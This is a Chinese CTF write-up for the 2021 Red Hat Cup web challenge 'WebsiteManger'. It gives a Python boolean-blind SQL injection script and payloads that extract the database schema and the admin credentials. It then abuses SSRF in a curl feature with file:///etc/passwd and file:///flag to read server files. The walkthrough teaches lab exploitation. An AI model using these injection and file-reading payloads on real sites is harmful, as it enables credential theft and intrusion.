• CTFHub_2021第四届红帽杯网络安全大赛WebWebsiteManger(布尔盲注、SSRF )


    场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?

    场景打开后,如下,是个登录框

    查看源码,发现可能的注入点 /image.php?id=2

    图片的id貌似是跟数据库存在交互的,下图中长度177的都是被过滤的关键字

    布尔盲注

    /image.php?id=if(1=1,1,5)	True
    /image.php?id=if(1=2,1,5)	False
    

    条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件

    编写简单的Python盲注脚本

    import string
    from requests import *
    
    allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
    
    myurl = 'http://xxx.com/image.php'
    
    info = ''
    for i in range(1,50):
        for s in allstr:
            payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
            resp = get(url=myurl+payload)
            if len(resp.text) > 4000:
                 info += s
                 print(info)
    

    payload

    爆破数据库
    payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
    
    爆破表名
    payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
    
    爆破列名(失败?)
    payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))
    
    爆破字段值
    payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
    

    关键函数解释

    • mid() 函数:截取字符串一部分,mid(column_name,start[,length])
    • ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
    • group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,...)

    注入查询到信息

    Current_database: ctf
    
    Tables_in_ctf: users,images
    
    Columns_in_users: username,password
    
    values_in_users: adminf5b86501931f812ed3833dee67a43603
    

    得到用户名admin,密码f5b86501931f812ed3833dee67a43603,登录成功后显示如下

    尝试输入127.0.0.1测试

    curl这里应该存在SSRF

    尝试file://协议去读文件,成功

    file:///etc/passwd
    

    直接读flag

    file:///flag
    

    参考:https://blog.csdn.net/mochu7777777/article/details/116570606

  • 相关阅读:
    可重入函数
    进程间通信的方法和实现
    Qt之Qprocess
    mysql学习(十二)内置函数
    mysql学习(十一)嵌套查询 排序 分组
    mysql学习(十)多表查询
    ubuntu 12.04 安装谷歌浏览器
    mysql学习(九)sql语句
    mysql学习(八)数据表类型-字符集
    mysql远程连接问题-http://www.cnblogs.com/jerome-rong/archive/2013/03/05/2944264.html
  • 原文地址:https://www.cnblogs.com/zhengna/p/15907372.html
Copyright © 2020-2023  润新知